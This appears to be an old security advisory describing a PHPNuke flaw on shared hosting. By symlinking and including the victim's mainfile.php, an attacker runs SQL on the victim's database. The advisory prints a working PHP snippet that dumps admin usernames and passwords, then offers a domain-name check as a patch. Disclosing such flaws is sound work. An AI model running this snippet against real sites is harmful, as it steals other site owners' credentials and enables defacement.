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There is a vulnerability in PHPNuke that permits execution of arbitrary SQL queries on a database located in the same server of an attacker's account. This is the procedure: first of all attacker must create a symlink pointing to victim's db directory in PHPNuke home directory because of mainfile.php include method. After that he can build a simple php code executing a query to the PHPNuke database. Here is an example:
<?php
require_once ("/location_of_victim's_PHPNuke/mainfile.php");
$sql = $db->sql_query("SELECT aid,pwd FROM ".$prefix."_authors");
while($record = $db->sql_fetchrow($sql))
~ echo "Username: $record[aid]\n<br>\nPassword: $record[pwd]\n<br><br>\n";
unset($sql);
?>Queries are executed normally because config.php (which is included by mainfile.php) provides the information in order to connect to the chosen database. This is a very easy way to deface PHPNuke-based websites or adding and removing users, and so on.
This "homemade patch" goes in config.php, just below connection variables. It checks domain name provided by web server with the one provided by the user and grants execution of SQL queries only if domain names match. Here is the code:
$domainname = "www.example.com";
if ($_SERVER['SERVER_NAME'] != $domainname ) {
~ echo "Access denied";
~ die();
}This vulnerability isn't only for PHPNuke, but also for every CMS that doesn't check domain names.
Greetings,
Luca Falavigna
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